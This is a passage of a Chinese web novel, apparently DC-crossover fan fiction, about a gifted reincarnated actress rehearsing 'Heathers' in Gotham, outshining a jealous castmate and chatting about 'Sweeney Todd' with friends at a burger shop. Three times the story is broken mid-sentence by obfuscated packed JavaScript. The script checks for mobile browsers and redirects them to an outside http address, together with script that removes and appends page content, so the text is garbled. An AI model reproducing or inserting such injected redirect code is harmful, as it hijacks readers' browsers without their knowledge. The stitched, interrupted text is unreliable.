这三个人都叫希德,也都管对方叫希德——“希德在叫希德闭嘴,希德在对希德道歉”,让语言逻辑产生短暂的短路,这个包袱使得充满恶意的对峙场面多了点黑色幽默,紧张的气氛缓解些许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15968621|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 两人的对话节奏精准,气势拿捏得恰到好处, 围观的群舞演员们忍不住窃笑,给现场的喜剧节奏又添了几分彩。 这笑声让目前为止没有台词的“黄希德”,也就是西奥妮,感到了威胁。 没有人比她这个演过红希德的更清楚,卡里亚刚才那两句台词有多少含金量。 她几乎是绿希德话音刚落就将台词脱口而出,潜在地传达了一层信息——这种事情发生过很多次了,间接帮绿希德立了一个抱有野心、想要掌握话语权的形象。 同样,她的音量提高得刚刚好,充满压迫感,不会太大以至于让红希德的人设崩塌,又不会太小,能让绿希德快速反应过来,接住她的台词。 西奥妮不由心中一紧。 这几天练基本功的时候她就隐隐有这种感觉了,卡里亚·穆瑟尔似乎并不像她想的那样,是个没水平的关系户。 今天的排练,让她的猜测确信了大半。 可如果真是这样…… 如果卡里亚·穆瑟尔真是第一次演红希德就能发挥到如此水平的天才,那她为这个角色付出的日夜不休的努力算什么?她在其他人面前说过的那些刻薄的猜测又算什么?! ——这不就显得她是个嫉妒心作祟的low货吗! 西奥妮咬咬牙,脸上不动声色,心里却已经决意:要在接下来的场景里更卖力,她不可能比一个只当过替补的人还差! 伴随着背景的钢琴声,剧情继续。 红希德决定把维罗妮卡的一技之长占为己用。 她有意让维罗妮卡成为小团体里的老四,但首先得确认对方有没有这个资质。 衣品已经土得没边了,但硬件条件好像还没太无可救药? 红希德绕着维罗妮卡,慢悠悠转了一圈:“作为一个胖子小透明,你的骨架长得还蛮不错的嘛。” 西奥妮的“黄希德”立刻上前,扳过维罗妮卡的脸,让她面对观众席的方向。 手劲有点大,她察觉到维罗妮卡脸上的痛意不像演的,但为了艺术,就请女主角牺牲一下吧! “黄希德”附和老大红希德的话,瞪大双眼,语调夸张,极尽刻薄:“你的脸也很对称,要是我用剁肉刀从中间切开,两边甚至能重叠上——这可是很重要的!” 绿希德紧跟其后,模仿她的腔调:“当然,你得先减掉一两磅!” 这段话引来更大的笑声,西奥妮终于安心不少。 然而,她没注意到的是—— 围观者们笑归笑,心里却升起另一种情绪。 西奥妮很优秀,演出了那种浮夸又尖刻的meangirl气质。 但,对照组的卡里亚·穆瑟尔,好像也没有西奥妮宣扬的那么差劲啊? 怎么总觉得,她的红希德,反而更让人信服……甚至有点更好的意思? 卡里亚的节奏没有丝毫急躁,像是抛出一道无形的锚,舞台上的气氛因为有她的掌控,自然、精准地行进。 哪怕卡里亚不说台词,只是静静站着、冷冷看人,依然能让人感到压迫感,无法忽视她的存在。 一种无法用语言准确表达的微妙感受,在所有人之间蔓延。 他们原本是想看到这样的展开:没有水平的卡里亚被更好的西奥妮换掉,走后门的小人得到惩罚,有实力的演员值得公平对待。 他们从没想过西奥妮会说假话,毕竟大脑会对眼前的人有天然的信任感,彼此之间又认识已久。 但如果真的是他们先入为主,那他们不就—— “休息三十分钟。” 导演的命令打断了所有人的胡思乱想。 “穆瑟尔,你和我过来一下。” 不少人松了口气。 尤其是西奥妮。 太好了,看来是他们想多了,穆瑟尔她确实不咋地嘛,这不就被叫出去谈话了! 他们并未注意到,导演的眼神并未带着批评或不满,而是……复杂的欣赏。 6. 教育 刚才的排练确实存在缺陷,但那绝不是卡里亚的问题。 不同于电影,有一个巨型银幕将呈现的内容无限放大、使得每位观众看到的东西大差不差,剧院观众席是立体分层的,从最前排到最高层的山顶座位,观众席不同区域看到的东西天差地别。 坐在第一排的观众,能清晰捕捉到台上演员呼吸时肩膀的微微起伏,甚至能看出妆容卡粉;而山顶座的观众看到的演员嘛......只能说是初具人形了。 为了能让后排观众也接收到角色情绪,舞台剧常常需要有一些夸张的肢体语言和动作,譬如张大嘴巴,双手抱头,跌倒在地。这也就是通常所说的戏剧化表演。 但这其中有个微妙的度,如果夸张得过了头,前排观众会觉得浮夸,看得直皱眉头;可若是动作不够有力,后排观众又会完全无法感知演技的起伏与能量。 而卡里亚的表演,那简直是表演教科书般的存在,她的动作幅度拿捏准确,简直像是斯塔克工业的仪器一样精细。 在基础动作框架内,她又恰到好处地加了好些小动作和小表情,这些小细节还都足够大:翘起的手指,侧身时的角度,抑扬顿挫的语调,等等等等。 这种大小兼备的演法交织在一起,后排的人虽然看不清全部,但能潜意识感觉到她表演中的丰富层次,恶毒校花的形象也就轻松建立起来;近距离看戏的观众就更不用说了,每一个场景都有足够的解读空间,演完之后还能回味好几天,觉得这几百美元的高昂票钱没白花,下次还来。 简单来说就是,她的表演有“空间感”。 这是相当高级的技艺,正如镜头感之于影视演员,决定了一个舞台演员能走多远。 导演心中非常清楚,哪怕是让卡里亚现在独自扛一整场的独角戏,她都能完美地达成要求,掌控整个舞台,让一整个剧院的观众满意而归。 ——可问题是,这不是独角戏,她身边还有黄绿两个希德呢。 另外两个希德和她完全不在同一个境界。动作是够大了,但她们不懂该在哪些地方收小一点,丝毫不懂张弛的章法。 尤其是西奥妮,实在是太dramaqueen了,几乎是全身都在用力演戏,尽管观众潜意识觉得卡里亚的演技看起来更舒服,可有这样一个聒噪的小跟班在,大脑总是会下意识将注意力投向噪音来源,自然也会因为这份不和谐感到烦躁。 让另外两个希德跟上卡里亚,这不现实。 空间感这种东西,不只是靠多演,还要多看。坐在黑暗的观众席中,把一场又一场好戏看进心里,不断积累,直到内化成自身的能力。 眼下唯一的办法,就是让更好的卡里亚让步。 与其让两只鸭子和一只夜莺搭伙,还不如让三只鸭子同台,起码叫声和谐一点。 导演一边强忍良心的谴责,一边教卡里亚如何放水:“穆瑟尔小姐,你确实很棒,但你得和其他人的风格统一。你的动作得更做作,眼睛需要睁得更大,翻白眼时可以让身子向后仰......” 不能尽兴演个够,卡里亚难免有些失落,但转头一想,这样起码比没戏演要好,至少在这里她还有放水的空间不是吗? 她默默听讲,点头表示理解,答应会“努力适应大家的节奏”。 等导演开完小灶,离休息时间结束还有一会儿, 见卡里亚被导演放回来休息,观察许久的莎莉·康赶紧上前,拉着她来到走廊尽头的自动贩售机旁边。 确认四下无人后,她凑近卡里亚,颇为担忧地低声道:“卡里亚,可能有些事情你得做好心理准备……” 她字斟句酌,缓缓道出实情:“其实,我想你可能也察觉到了,西奥妮她一直在背后说关于你的一些不好的话……” 卡里亚略微惊讶:“我做了什么让她不高兴的事吗?比如说?” “说你是走后门进来的,还有说你只做过替补,水平不行……这完全是胡话!我看她根本就是嫉妒你能演希德·钱德勒!”莎莉蹙眉,“但问题是,还真有好几个傻子信了!今天你被导演叫走后,他们甚至在大声讨论你什么时候会被换掉!” 卡里亚呆愣片刻:“哇哦,我还以为这里的人会更聪明一点,起码有明辨是非的能力。” 莎莉发出一声冷笑:“哈!他们可精明着呢!一旦你被换掉,那就等于起了人员变更的头,那些想要找机会爬上来的人,可不就名正言顺了吗?” 莎莉如此这般给卡里亚提个醒,大部分确实出自好意,但也有一点点自己的私心。 亚裔在欧美国家的处境比黑人和拉丁裔还要糟糕,这些说英语的人虽然把种族平等的口号挂在嘴边,但她总能感受到若有若无的忽视和轻慢。 有美国公民身份的亚裔尚且处境尴尬,她这样的留学生就更容易受欺负了。 更不用说聚集在这里的都是佼佼者,大部分人骨子里头都有一股优越感,不甘于屈居人下。 要是卡里亚被换掉,开了这个头,那么恐怕自己也免不了一番争斗。 她是女主角,盯着她位置的人只多不少。 因此,一向远离外国人纠纷的莎莉,才会在权衡利弊后主动找到卡里亚,看看她是什么反应,有没有两人联手反击的可能。 只是卡里亚关注的点,可能和她想的有些差别。 “他们把剧院和舞台当成什么了?学表演之前,能不能先学学怎么做演员?”卡里亚因为愤怒,语速不自觉加快,“作为演员的基本素质是尊重舞台,不管私下里有什么纠纷,都必须等在演出之后!不好好精进技艺,只想着怎么把别人拉下来,剧怎么能演好呢!” 眼下在排练厅里发生的事,对卡里亚来说简直匪夷所思。 前世,她所在剧团的成员们虽然内部常有摩擦,但在遇上演出时都是心往一处使,同仇敌忾。 遇到闹事的观众,大家会一起帮忙;哪怕是情敌关系的两位男士,在演出时都会暂时放下恩怨,等把戏演完了,回去接着打架。 之所以这般敬业,道理很简单。 因为观众就是他们的衣食父母。 戏剧表演可不像影视圈或者卡戴珊一家那样,连撕X都能转换成流量赚钱。 剧场演员的收入来源很单一,几乎全部依靠票房。 演得好,观众捧场,就有收入;演不好,观众不买账,连带着整个剧团都可能没饭吃,就这么简单! 那些期待她闹笑话、罔顾表演质量的学生们,不以演出为生存来源,自然也没有相应的责任感。 这种不拿演出当回事儿的散漫态度,比起西奥妮说她坏话这件事本身更让卡里亚恼火。 她抬头看向排练室的方向,下定了某种决心。 其实她不喜欢用过度的实力来给同台的演员造成压力。 用她几十年的经验去碾压一群玩票性质的小孩,实在是没啥意思。 况且这是个学生项目,学生们首先应该去享受音乐剧,觉得音乐剧很有趣好玩,有了兴趣才有学习的动力。 但现在看来,这群毫无团队合作意识的孩子们,或许真的需要一点教育。 虽然她之前才答应过导演,要在群戏和其他人保持步调一致.....但如果是她的主场曲目,应该还是可以稍微胡来一下的吧? ** 下一场排练开始。 红希德死于JD投毒的饮料,惊慌失措的维罗妮卡被JD诱导着写下了虚假的遗书。 为了让自杀听起来像那么回事儿,她帮这个自私残忍的校花进行了一番感人至深的“自我剖白”。 《真正的我》(meinsideofme),旋律在钢琴上响起。 卡里亚的角色也进入到了第二阶段,她要扮演遗书里的希德,一个不被看见真实自我,苦闷忧郁的女孩。 她将手捂住心口,眼眉低垂,腔调里带上了凄美的颤音。 “他们只看见我耀眼的外表,从不敢与我对视。 Theycouldn’tseepastmyrockstarmystique,theywouldn’tdarelookinmyeyes. 可在那华丽外表的背后,是个惶恐无助的女孩, Butjustunderneathwasaterrifiedgirl, 在夜里抱着枕头,偷偷哭泣。 Whoclingstoherpillowandcries!” 希德的尸体被上门的警官们发现,这封伪造的遗书迅速在镇上传播开来。 愈来愈多的人读到遗书,所有演员们陆续走到舞台上,加入希德的演唱。 警官,学校的老师,镇上的家长,同校的学生,棒球队员,黄绿希德,维罗妮卡和JD。 每有新的读者站到台上,希德就会像鬼魅一样靠近他们,来一个小小的二重唱。 “没人相信一个花瓶女孩也会有思想, “Nohinksaprettygirlhassubstance. 这就是受欢迎的坏处。” That’sthecurseofpopularity.”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15973208|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>——当第三个人上台时,群演们察觉到了不对劲。 他们现在完全是在被卡里亚被压着走。 这种操控不是因为音量,而是更加微妙的,气息和技巧上的东西。 每个人上台时都会被分到两句歌词。 唱第一句时,卡里亚没有唱得多出彩,因为她在留意他们唱功里的些微瑕疵:换气点不合时宜,音符慢了半个节拍,高音时的歌声软了,等等。 然后,在第二句时,她会把这些错误全部纠正过来。 就像是跟着精密的节拍器一样,与卡里亚二重唱时,另一个人会下意识地配合她。 原本唱不上去的,会因为跟着卡里亚调好了呼吸,成功冲到了更高一层;容易乱节奏的,也跟着卡里亚的引导找到正确的节拍。 在与声乐老师进行跟唱练习时养成的习惯,让这些学生们几乎是下意识就跟着她唱出了正确且完美的曲调。 有些人觉得无所谓。剧组里就这么一两个老师,不可能关照到每一个群演,只要他们没唱跑掉就行了。有一个更优秀的人示范样本,他们还乐得偷师一番呢。 但也有的人不这么想。 比如西奥妮,就是拼命地想要甩开她。她试着用几个即兴的变调脱离卡里亚的掌控,却绝望地发现这根本不可能。 西奥妮已经将声音拔高到极限了,脸蛋因为过度用力发红。 而一旁的卡里亚,面色丝毫未变。 如果说西奥妮爬高音是在气喘吁吁地走楼梯,那么卡里亚的高音就像是坐电梯一样,轻松又自然。 ——来个长音或者变调?请随意,多长多高我都能跟上,先撑不住的人只会是你。 随着肺里的空气逐渐稀薄,西奥妮眼前逐渐发白,从头到脚生起一种猎物被盯上时的恐惧感,几近窒息。 幸好这并没有持续太久。 因为她破音了。 撕裂的高音打断了他们的演唱,西奥妮的脸红得要滴血。 不仅是生理性的反应,更多是因为自尊心的破碎。 而把她蹂躏一番的卡里亚,没有多给她一个眼神,转身开始下一段演唱。 “把我的衣服打包捐给慈善机构,把我那台跑步机送给贫穷的人, BoxupmyclothingforGoodwill,andgivethepoormyNordicTrack. 帽子、唱片、高跟鞋、公寓、那三台电视机,全都捐赠给他们吧! GivethemmyhatsandmyCDs,Mypumpsandmyflats,mythreeTVs!” 所有演员们一起集合,齐声歌颂希德的慷慨善良。 十几人的合唱从未如此整齐,因为他们已经成了卡里亚手中的牵线木偶,任由她手握操纵线,跟着她的指挥歌唱。 “希德让我们变成更好的人。 Heather’smadeusbetterthanwewere. 希德为我们流泪,背负了所有的罪孽。 Heathercried,oursinsfellonhershoulders!” 他们忘记了希德生前的种种恶劣行径,完全沉浸在当下的震撼和“发现真相”带来的自我满足之中。 希德·钱德勒,高中校园里横行霸道的女王,靠着这封遗书——这首歌——在当前的时刻,真正意义上地统治了所有人。 一片若有似无的阴影笼罩在高中生演员们的头上,强烈的压迫感让他们那颗自大的心出现了明显的裂痕。 导演一言不发地看着台上的学生们,静静等着这首歌在最高潮中结束。 这就是他选卡里亚·穆瑟尔的理由。 她太强了,让她做主角或是任何一个其他角色,都不会有如此好的效果。 试想一下,如果真让卡里亚演了小透明维罗妮卡,结果她的唱功摁着校园女王希德打,这剧情还能站得住脚吗? 显然不能!说是她霸凌希德还差不多! 所以,希德·钱德勒只能是她的,而她也只能做希德·钱德勒。 导演的目光扫过台上每一个人的脸。 认真跟唱的莎莉·康,蹙眉的杰克·道森,泫然欲泣的西奥妮,还有很多一脸菜色的学生。 打击一下这些学生们的自尊心,并不是一件坏事。 总要有人来提醒他们,世上比他们强的人多的是,他们其实并没有那么特别。 接受自己并不是天才的事实,才是作为艺术家的真正开始。 7. 地狱笑话 自从那一次卡里亚几乎是把所有人按在地上摩擦后,剧团里的风气就好了很多。 虽然背地里可能还有些闲言碎语,但排练的效率确确实实提升上来了——原定要一个月排完几场群戏,如今竟只用了三个星期。 进步如此显著,部分是因为蠢蠢欲动的人在看到实力差后歇了心思,乖乖按照台本排戏,不再想着站到前面或者压人一头; 另一部分是因为卡里亚的标杆作用,因为有她这个几乎是范本的标定点在,其他人基本都是拿她做参照对象,走位和舞蹈什么的很快能记住。 最难的群戏部分排完,不再需要所有人排练同一首曲子,那么剩下的就好办了。 进度来到单人曲和多重唱的部分,助理导演把排练室用帘子分成两部分,两边排练同时进行。 譬如男女主练习对唱情歌时,其他人就去排练各自的曲子,或者陪那些兼任替补的配角们对对台词,确保他们不会因为要记多个角色的戏份而导致串戏。 两边齐头并进,速度自然快。 连哥谭市的罪犯们似乎都格外给面子,沃克斯豪尔剧院所在的区域这段时间意外地平静。 除了有几次外星军队差点突破大气层、阿卡姆疯人院险些爆发病毒感染之外,哥谭市还是很和平的。 没有学生被双面人绑架做人质,也没有人在公路上遇到毒藤女的食人植物,一切都顺利得出奇。 因此,在《理发师陶德》巡演到哥谭,需要占用剧院场地时,导演并没有按照计划去租借舞蹈室做排练场地,而是趁着日程表上还有空余,给大家安排了别的项目。 “我们去见见百老汇的水平吧!” 这里就不得不提到百老汇音乐剧的巡演机制了。 一部美国百老汇的音乐剧,会根据制作人和投资商的判断,进行较高质量的全国巡演(USTouring)。因为是原班人马亲自打造的版本,尽可能在各方面保持原汁原味,水平基本都相当不错,在各个地方剧院票卖得也很好。 如果说在百老汇演出的音乐剧是金字塔的顶端,那么这个巡演版本就是金字塔的第二层。 等在美国国内捞钱捞得差不多了,巡演就会来到金字塔的第三层。 公司开始出售版权,授权给一些专门做巡演的公司来制作——到了这个阶段,质量就开始打折了。 毕竟戏剧不像电影,等上映后就基本是坐在家里收钱,音乐剧是要当场演给观众看,只要是现场演出就需要源源不断地花钱。 再加上巡演时重新组建剧组的钱、空运海运产生的运输费、演员们的食宿费等等,这笔数字就更加惊人。 为了压低成本,舞台布景和舞美道具不得不简化;能给的工资少了,能找到的演员水平也就不会太好。 这个阶段一般是欧洲或者澳大利亚的巡演。 等到金字塔第四层,差不多就是最底端,这个阶段又被称为“大卡车巡演”(Bus&truck)。 这种巡演主打一个降本增效,为了弥补国际运输和各个国家物价差带来的成本,舞美道具基本被删到只剩个骨架,群舞演员更是能少则少。 剧组成员大部分是来自南非、东欧等地,去的一般是亚洲和南美这样的国际市场——也就是俗称的国际巡演。 虽然质量比起最原始的百老汇版本,可能会有些简陋得让人失望,奈何这种巡演便宜且量大,对一些没法飞到美国的音乐剧爱好者来说,也是很不错的选择了。 由此可见,音乐剧并不像明星演唱会,以巡演为荣。 不如说,涉及到巡演时,观众更要擦亮眼睛。 而这次参观的剧团属于金字塔的第二层,还是无限接近于最顶层的那一批。 百老汇音乐剧的北美巡演一般有两种情况:制作人觉得这剧挺赚钱,就让百老汇那边正常演出的同时顺便再做一个巡演版本,收割那些没法来纽约看剧的韭菜。 这种一般是大热剧才有的待遇,譬如《汉密尔顿》,北美都巡了好几轮了。 又或者是百老汇那边的票房收入不足以支撑运营成本,剧目遗憾宣布关停,制作人觉得一堆道具闲着也是闲着,好多演员暂时也没别的工作安排,就带着他们浩浩荡荡出发去北美巡演。 这也是常有的情况,比如去年的《女性投票者》(suffs)。 这次沃克斯豪尔剧院承办的《理发师陶德》,就属于是关停后开巡演的类型。 男女主都是百老汇的演员,女主角甚至还拿过一个托尼奖提名。 这种班底的巡演,对学生们来说是可遇不可求的机会。 导演去和剧院经理以及巡演剧团的负责人说了这件事,等剧团来到哥谭后,他带着学生们参观了一遍全流程,从周一加班装台到剧团排练,再从后台准备到正式开演。 虽然大部分时间剧团都是在紧锣密鼓地忙自己的事,学生们仅仅是在旁边看着,但大家或多或少感受到了一点世界top级的专业风范。 周五看完下午场的演出后,每个学生还额外拿到了两张前排的免费赠票——不用说,肯定是韦恩艺术教育基金会的手笔。 这周末恰逢复活节,名义上的弟弟尤利要去参加社区的复活节活动,准备聚会食物的人物毫无疑问落到卡里亚头上,这两张票她是用不上了。 免费的赠票,转手大价钱倒卖似乎也不太道德;而且之前的五千美元奖学金已经发下来,卡里亚手头宽裕不少。 于是,她把这两张票送给了斯蒂芬妮。斯蒂芬是单亲家庭,她和她母亲克莉斯特尔·布朗,一人一张刚刚好。 周六上午,卡里亚借口要去图书馆复习补考,向盖伦夫妇申请出门。 盖伦先生放下手里的报纸:“别是找借口出去鬼混吧,我可不希望我们家出现一个青少年罪犯!” 盖伦夫人本来在兴致勃勃地给尤利挑选复活节的新衣服,不耐烦地挥挥手:“随她去吧,反正别想花我们一分钱!你最好是去学习,别到最后没法毕业,我们可不会付你更多的学费了!” 尤利不高兴地撅嘴嚷嚷:“下午早点滚回来,你敢少烤一盘我的饼干试试!” 自打尤利会走路以来,卡里亚就失去了在周末喘口气的机会——给尤利的聚会准备点心,给尤利的校服熨烫整洁,给尤利的房间打扫干净...... 一个会每月为他们带来可观津贴的免费保姆,盖伦一家真是太会打算盘了。 卡里亚在心里白了一眼,却又不得不发挥演技,低眉顺眼地应付完才得以脱身。 到达蝙蝠汉堡店时,正值饭点,店里人声鼎沸。 幸好斯蒂芬妮提前到达,点了杯汽水占座,在靠墙的位置朝好友挥手。 卡里亚艰难地从人群缝隙中钻过去,两人顺利会合。 “不好意思啦,之前说好请你吃饭庆祝,结果拖了这么久。”斯蒂芬妮不好意思地笑笑,“就吃双人餐可以吗?” “可以的,我的那份薯条要小丑化!”卡里亚喜欢那种绿色的调味粉,“请客这种事情无所谓,倒是你的伤怎么样了?” 斯蒂芬妮家里似乎很忙,之前她甚至请了整整半个月的假,说是要去远房亲戚家处理遗产问题。可怜的斯蒂芬在那儿的田地里摔了一跤,胳膊上的伤现在还没能消掉。 但那段时间刚好有外星人入侵哥谭,某种意义上也算是幸运地躲过一劫。 斯蒂芬妮摸摸手上的绷带:“没事,我身体恢复很快的......对了对了,我这次还给你带了好东西回来!你绝对猜不到是什么!” 她神神秘秘地从背包里拿出一个小盒子。 卡里亚接过去掂掂,分量不轻。 “总不能是你捡到蝙蝠镖了吧?”卡里亚失笑。 “那种东西早就被提......呃,红罗宾给回收了!”斯蒂芬妮催促,“你快打开看看!” 卡里亚不多客气,抽掉包装上的丝带。 盒子里装着一个黑乎乎的瓶子,瓶子上的标签印着奇特的花纹,红黄色的纸上印着许多复杂的汉字。 卡里亚只认得几个字母:“nian....ci....an?” “没错没错,我家里人从香港带过来的!” “嚯,我说你为什么和卡珊神神秘秘的呢。”一个带着笑意的声音在头顶响起。 两个女生抬眼,看见一个黑发蓝眼的少年,外带一个黑发绿眼棕色皮肤的小男孩,正托着餐盘站在她们桌子旁边。 少年看起来和她们年纪相仿,笑容和煦;小男孩则板着脸,露出一种不符合年龄的成熟。 “提姆!达米安!”斯蒂芬妮看起来有点意外,随即介绍道,“这是我朋友,卡里亚·穆瑟尔。卡里亚,这位是提摩西·德雷克,叫他提姆就行。旁边这位coolboy是达米安,算是他弟弟。” “你们好。”卡里亚微笑道。 “你好,卡里亚。”提姆也礼貌地回应,“很高兴认识你。” 达米安微微颔首,算是打过招呼。 “不介意我们坐这里吧?虽然我们也不想打扰你们女生聚会,但店里实在没有别的位置了。” “当然可以,请吧。”卡里亚往里挪了挪,给他们腾出空间。斯蒂芬妮也伸手移开汽水杯。 “谢谢啦。”提姆放下餐盘,来到斯蒂芬妮那一侧,达米安则坐在卡里亚身边。 空气一时有些安静,带着点刚认识的人之间的客气。 卡里亚想起刚才的话题,好奇地问:“对了,你们说的卡珊是?” “就是斯蒂芬那个在香港的家里人。”提姆笑着解释,气氛松弛了一点,“我还以为是她俩打算策划些什么恶作剧呢,结果只是带土特产而已。”他看向斯蒂芬妮,话里带着点调侃。 卡里亚也看向斯蒂芬妮,故意拉长语调:“哇哦——看不出斯蒂芬在家里这么有童心。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977620|177743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 斯蒂芬迅速拿起一把薯条,塞进提姆嘴里:“你别听他瞎说,而且明明是他喜欢先挑事!” 提姆:“#*&¥!” 达米安:“呵,幼稚。” 斯蒂芬妮:“行行行,你最成熟了。你们俩今天怎么跑这里来吃饭了?” 达米安:“父亲他们临时有事出去了,而我们不想光吃冰箱里的黄瓜三明治。” 斯蒂芬妮得意:“哎呀,恭喜你们二位能享用阿福的健康餐!” “别高兴太早,斯蒂芬,见者有份。”提姆不知道从哪里拿出一个装得满满当当的纸袋,露出邪恶的笑容,“你也不想让阿福知道你眼睁睁地看着他的三明治被浪费吧?” 斯蒂芬妮哀嚎一声,额头重重磕在桌上:“提姆!你算计我!” 在另外二人幸灾乐祸的笑声中,她不情愿地起身,去前台点了双人餐外加一份夜翼鸡翅,说是要用垃圾食品掩盖黄瓜三明治的味道。 三人倒没想着要祸害卡里亚,但她很好奇这个味道,和斯蒂芬要了一小块尝尝。 不难吃,甚至有种熟悉的味道,让她恍惚间想起了前世的某个伦敦小剧场,晚场演出结束时已是凌晨,剧场经理的夫人会为大家做这种夜宵。 卡里亚隐约记得,那家剧场的经理有一个很特别的姓氏.....好像是潘尼什么什么来着? 记忆像蒙了层纱,看不真切,但另一个念头忽然跳出来,提醒她今天的正事。 对了!剧院! “斯蒂芬,这个送给你。”卡里亚从口袋里摸出两张剧票,“《理发师陶德》,我前天去看过了,水平相当不错!和克莉斯特尔一起去吧!” 不知为何,在说到“陶德”这个名字时,旁边的提姆和达米安动作都微微停顿了一下。 “......陶德?” “?” 提姆轻咳一声:“听说过这个名字,但不知道是什么故事,有点好奇罢了。” 这句话像按下了卡里亚身上的某个开关。 前一秒,面对刚认识的提姆和达米安,她还心存陌生人之间的距离感,说话也带着点克制;但提到音乐剧时,她那点拘谨瞬间就被一股巨大的兴奋冲得无影无踪! 这种兴奋就好比是御宅族走在街上,看到有人cos了自己最喜欢的冷门角色。 卡里亚立刻坐直了身体,眼神中迸发出一种发自内心的、热切的光芒。 “《理发师陶德》是一部非常棒的音乐剧!这可是桑德海姆的代表作,实在是不容错过!” 卡里亚尽可能在不剧透的范围内讲述了一遍剧情。 “这部剧的男主角叫斯威尼·陶德,在很久以前被一个恶毒的反派陷害,导致家庭分崩离析。” 斯蒂芬妮托着下巴,听得十分认真。 “大家都以为他死了,但他其实没死。” 另外三人交换眼神。 这故事的走向怎么听起来...... “时间过去太久,已经没人能认出陶德了,他因此能顺利地返回故乡。” 斯蒂芬妮默默掩面。 “等回到他的故乡后,陶德发誓要向所有造成他悲剧的人复仇,为此不惜杀人,甚至向一些和他无冤无仇的人下手!” 提姆突然猛咳了几声,表情十分微妙。 “他还得到了一男一女的帮助,后面还经营了一家店铺。” 此时,正在冰山餐厅里聚会的法外者们突然有种被喊道名字的错觉。 “终于,他的名号打响,并且吸引来了他的仇人!但第一次的刺杀并没有成功!”卡里亚即使刹住车,“这就是第一幕的剧情简介了,后面的还是你们去现场看比较震撼.....啊,但是达米安好像没到能看的年纪吧?” 杀/人后做成人肉馅饼这种情节,对小孩子来说还是太刺激了。 达米安不屑一笑:“不劳费心,我自有我的方法。” 也对,现在是网络时代,小孩子什么没见过呢。 卡里亚点点头:“总之,这是一部不容错过的桑德海姆音乐剧!布景别具一格,歌词也充满韵律!虽然德普的电影版也很不错,不过现场版也是别具风味!” 她将票根翻过来,指着上面印的图片道:“并且这次的制作在造型上也做了创新。你们看,男主角陶德的头发有一撮白毛,和电影版的一样!” 达米安露出了饶有兴致的笑容。 斯蒂芬妮突然呛了一口汽水。 提姆大喊一声“对不起我薯条掉了”,弯腰钻到了桌子下面。 卡里亚并未注意到这三人的反应,又热情地继续介绍一会儿才和大家道别,不舍地结束了这次愉快的聚餐。 当天晚上,有沃克斯豪尔剧院的观众在社交平台上发帖,声称目击到了罗宾和红头罩,并且在剧院巨幅海报的的附近听到了奇怪的笑声。 这究竟是怎么一回事呢?真是让人想不明白。 8. 排练尾声 《理发师陶德》哥谭站巡演结束后,下一个入驻沃克斯豪尔剧院的终于轮到了《希德姐妹帮》,排练进入到最后的技术合成阶段。 技术合成(techniqueprocess)就是字面意思,把所有技术性的东西加入到迄今为止排练的内容中——布景,打光,服装,声效,音响,假发,后台调度,乐器,如有必要还会根据合成时的情况增删内容。 这些都是为了确保演出时万无一失,不会出现伴奏盖过人声,或是演员没站到灯光下之类的情况。 散落在哥谭市各个工厂和工作室的学生们带着各自的成果回来报道,整个剧院后台都被高中生占领了。 不过这其中大部分都跟演员组没关系,他们主要还是和服化道的人对接。 技术合成第一天,卡里亚先去了化妆室。 基金会买下《希德姐妹帮》学生演出版权时,妆面设计图是一起打包发给他们的,卡里亚和初版卡司的希德·钱德勒肤色相近,都属于白里透红的芭比娃娃那一款,化起来不难。 戏份多的主要角色,为了和群演们区分开来,妆容大多设计得较浓,一上场观众就知道重点该看谁。这种妆容在舞台灯的强光照射下刚刚好,但放在自然光下近距离看就有些夸张了。 化好唇妆后,卡里亚看看镜子,觉得自己像是刚吃完俩小孩。 之前社团演《律政俏佳人》都是临时拜托学校的ins达人帮忙化妆,这还是她第一次正儿八经接触现代的舞台化妆技术,心里也没个底,但看旁边负责把关的指导老师很满意的样子,应该没啥问题。 她脸上带着妆,蹬蹬蹬上楼,去了假发部门。 希德·钱德勒和她一样,都是那种经典的金发女郎,剧里也只有一个固定的发型,因此剧组没给卡里亚另外准备假发,用真发编个造型,喷喷定型喷雾就好。 假发组的女生夸她有好莱坞黄金时代女郎的气质——在国民审美被卡戴珊一家改造的年代,这种特质是很难得的。 最后就是服装部门了。 卡里亚在那里遇到了最大的挑战。 在希德以家中睡衣造型登场、遭到毒杀之前,她还会穿着校服在维罗妮卡的梦里出现,狠狠嘲笑她一番。 两个场景无缝衔接,把下台上台的时间去掉,卡里亚换装必须控制在四十秒之内,是个标准的快速换装(quickchange)。 换装的地方在舞台侧翼,沃克斯豪尔剧院给这块地方留出了相当大的空间,还专门设置一个更衣室,避免了当众更衣的尴尬。 但这不意味着没有别的尴尬。 密闭的空间内,服装组的女生们如狼似虎地盯着卡里亚,逼得她后退几步,生出一种被猛兽围猎的惊悚感。 